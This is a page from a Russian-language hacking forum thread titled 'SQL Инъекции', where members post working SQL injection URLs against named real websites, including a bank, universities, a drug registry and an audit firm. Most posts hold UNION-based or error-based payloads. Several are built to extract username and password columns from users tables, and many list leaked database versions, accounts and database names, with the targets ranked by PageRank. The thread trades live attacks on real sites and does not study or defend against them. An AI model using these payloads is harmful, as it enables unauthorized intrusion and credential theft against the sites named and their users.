SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. av1

    av1 Elder - Старейшина

    Joined:
    6 Oct 2008
    Messages:
    725
    Likes Received:
    104
    Reputations:
    58
    Code:
    http://www.kstw.de/index.php?option=com_presse&view=einzel&Itemid=211&Tid=-714+UNION+SELECT+concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,2,3,4,5,6--
    Username: root@localhost
    Version: 5.1.41-community
    Database: internet

    Google PR: 6
     
    1 person likes this.
  2. moodoone

    moodoone Member

    Joined:
    21 Oct 2009
    Messages:
    144
    Likes Received:
    38
    Reputations:
    5
    Code:
    http://www.ovislink.biz/tech.phtml?item_id=-593+UnIon+selECt+1,2,3,4--
    Code:
    http://www.globalhockey.net/news-full.php?id=-77+UnIon+selECt+1,version(),3,4,5,6,7--
     
    #12762 moodoone, 23 Aug 2010
    Last edited: 23 Aug 2010
  3. daniel_1024

    daniel_1024 Elder - Старейшина

    Joined:
    15 Jul 2009
    Messages:
    260
    Likes Received:
    227
    Reputations:
    386
    ПАО "Донгорбанк"
    PR: 5 ТИЦ: 425

    Code:
    http://www.dongorbank.com/ru/press/news.php?id=43+and+1=0+union+select+1,2,version(),4,5,6,7,8,9,10,11--
    Version: 5.0.51a-24+lenny3-log
    Database: wwwQHios
    User: u_wwwQHios@localhost
     
    5 people like this.
  4. SENIA

    SENIA Elder - Старейшина

    Joined:
    22 Nov 2008
    Messages:
    478
    Likes Received:
    232
    Reputations:
    1
    Code:
    http://globalanti.risa.ru/print.php?cat_id=31&doc_id=-172+union+select+1,2,3,concat_ws(0x3a,user_login,user_psw),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+risa_globalanti.users+limit+1,1--
     
  5. bast3n

    bast3n Member

    Joined:
    5 Jul 2010
    Messages:
    11
    Likes Received:
    11
    Reputations:
    6
    PR 5
    Code:
    http://gamebooks.org/show_user_reviews.php?id=-1+union+select+concat_ws(0x2b,version(),user(),@@version_compile_os),2,3,4+--+
    5.0.45-community+gamebooks@localhost+pc-linux-gnu's Reviews
    Code:
    http://gamebooks.org/show_user_reviews.php?id=-1+union+select+concat_ws(0x3a,Username,Password),2,3,4+from+Users--+
    In plain view
     
  6. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    потихоньку начнем
    Code:
    http://www.narbilisim.com/nar.php?p=haber&id=-43+union+select+concat_ws(0x3a,version(),database(),user(),@@version_compile_os)+--+
    Code:
    http://myfourthirds.com/user.php?id=-2581+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),8,9,10,11+--+
    Code:
    http://contaxg.com/user.php?id=-1167+union+select+1,2,3,4,5,6,concat_ws(0x3a,user_nickname,user_passwd),8,9,10,11+from+users+--+
    Code:
    http://www.flexelec.com/produits/detail.php?id=-28+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+--+
     
    #12766 Kusto, 24 Aug 2010
    Last edited: 24 Aug 2010
    2 people like this.
  7. Twin $park

    Twin $park Member

    Joined:
    15 Nov 2009
    Messages:
    9
    Likes Received:
    25
    Reputations:
    9
    Bank of Philippines

    Mssql

    Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)

    users:
    userID
    username
    password
     
    #12767 Twin $park, 24 Aug 2010
    Last edited: 24 Aug 2010
    2 people like this.
  8. *uNkN0Wn*

    *uNkN0Wn* Member

    Joined:
    25 Mar 2009
    Messages:
    175
    Likes Received:
    92
    Reputations:
    11
    PR - 3
    user() revisi2_jamie@localhost
    version() 5.0.90-community
    database() revisi2_revisionone



    Konqi : для кого антибоян? =\
     
    #12768 *uNkN0Wn*, 24 Aug 2010
    Last edited by a moderator: 24 Aug 2010
    1 person likes this.
  9. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    463
    Reputations:
    452
    ..........................................
     
    _________________________
    #12769 Uex Urgent, 24 Aug 2010
    Last edited: 24 Aug 2010
    3 people like this.
  10. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    463
    Reputations:
    452
    ............................
     
    _________________________
    #12770 Uex Urgent, 24 Aug 2010
    Last edited: 24 Aug 2010
    1 person likes this.
  11. *uNkN0Wn*

    *uNkN0Wn* Member

    Joined:
    25 Mar 2009
    Messages:
    175
    Likes Received:
    92
    Reputations:
    11
    PR - 4
    user() kornog@localhost
    version() 5.1.45-0.dotdeb.0
    database() frpatb_net


    PR - 3
    user() [email protected]
    version() 5.0.22-max-log
    database() endopedonline
     
    #12771 *uNkN0Wn*, 24 Aug 2010
    Last edited by a moderator: 24 Aug 2010
  12. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87

    PR 4


    PR 4


    PR 4


    PR 5 ТИЦ 20


    PR 5 ТИЦ 20


    PR 5


    PR 1


    ТИЦ 10 PR 3


    ТИЦ 150 PR 3


    ТИЦ 1100 PR 5


    PR 1


    ТИЦ 10 PR 4


    PR 5


    PR 5




    ТИЦ 30 PR 2


    PR 3


    PR 3

     
    #12772 -PRIVAT-, 24 Aug 2010
    Last edited: 24 Aug 2010
    3 people like this.
  13. moodoone

    moodoone Member

    Joined:
    21 Oct 2009
    Messages:
    144
    Likes Received:
    38
    Reputations:
    5
    Code:
    http://www.ber.te.ua/cgi-bin/viche/index.cgi?archive=-20060721+UnIon+selECt+1,2,3,4,table_name,6,7,8,9+from+information_schema.tables--+
    Кто раскрутит до конца стукните плиз в ПМ
     
  14. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.drugreg.ru/Doc/DocDownload.asp?idPage=51[SQL INJECTION]
    Version: Microsoft

    SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('UserQuerysDoc','CountClicksLink','bnr_clicks','bnr_contains','bnr_main','bnr_owners','bnr_types','DownloadFiles','DownloadFilesWebPages','Downloads','DownloadsSent','DownloadTypes','DownloadTypesWebPages','DownloadWebPages','dtproperties','GeoAreas','GeoCountryType','GeoRegions','MailSendOk','SendMailOnce','SendMailOnceWhat','SendUnitTypes','Services','ServiceTypes','ServiceTypesSend','ServiceTypesSendLog','sysconstraints','syssegments','UserQuerys','UserQueryTypes','UserQueryTypesMain','Users','UsersLog','UsersMsg','UsersMsgSent','UsersMsgSent_Dubl','UsersServices','UsersUserType','UserTypes')
     
  15. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.weblaw.edu.au/display_resource.phtml?rid=3366%27+or+%281,1%29=%28select+count%280%29,concat%28%28select+concat%28ed_username,char%2858%29,ed_password%29+from+editor+limit+0,1%29,floor%28rand%280%29*2%29%29from%28information_schema.tables%29+group+by+2%29--+

    PR-6

    -----
    http://www.stopthinkdo.com/display_article.phtml?article_id=6+and+substring(version(),1,1)=3 :)

    -----
    http://www.icmi.com.au/resource.phtml?id=-13+union+select+1,2,3,4,5,version()
    ------
    http://www.cafeproductsdirect.com.au/listing.phtml?expand=1&selected=118+union+select+1,2,version(),4,5
     
    _________________________
    #12775 Konqi, 24 Aug 2010
    Last edited: 24 Aug 2010
    2 people like this.
  16. *uNkN0Wn*

    *uNkN0Wn* Member

    Joined:
    25 Mar 2009
    Messages:
    175
    Likes Received:
    92
    Reputations:
    11
    PR - 5
    user() [email protected]
    version() 5.0.85-community-log
    database() cpa_experts


    user() [email protected]
    version() 5.0.85-community-log
    database() cpa_calendar
     
    #12776 *uNkN0Wn*, 24 Aug 2010
    Last edited: 24 Aug 2010
    1 person likes this.
  17. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.library.uq.edu.au/hotnews/index.phtml?id=63'or+(1,1)=(select+count(0),concat((select+version()+from+information_schema.tables+limit+0,1),floor(rand(0)*2))from(information_schema.tables)+group+by+2)--+

    PR-7
     
    _________________________
  18. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87
    PR 3
     
    2 people like this.
  19. *uNkN0Wn*

    *uNkN0Wn* Member

    Joined:
    25 Mar 2009
    Messages:
    175
    Likes Received:
    92
    Reputations:
    11
    PR - 6
     
  20. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    независимая консалтинговая группа

    2К Аудит-Деловые консультации

    http://www.2kaudit.ru/services.php?id=-153+and+1=2+union+all+select+1,2,3,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),5,6,7,8,9,10,11,12,13,14,15--+

    version : 4.0.27-log
    user : [email protected]
    database : 2kaudit-ru
    os : portbld-freebsd7.0
     
Thread Status:
Not open for further replies.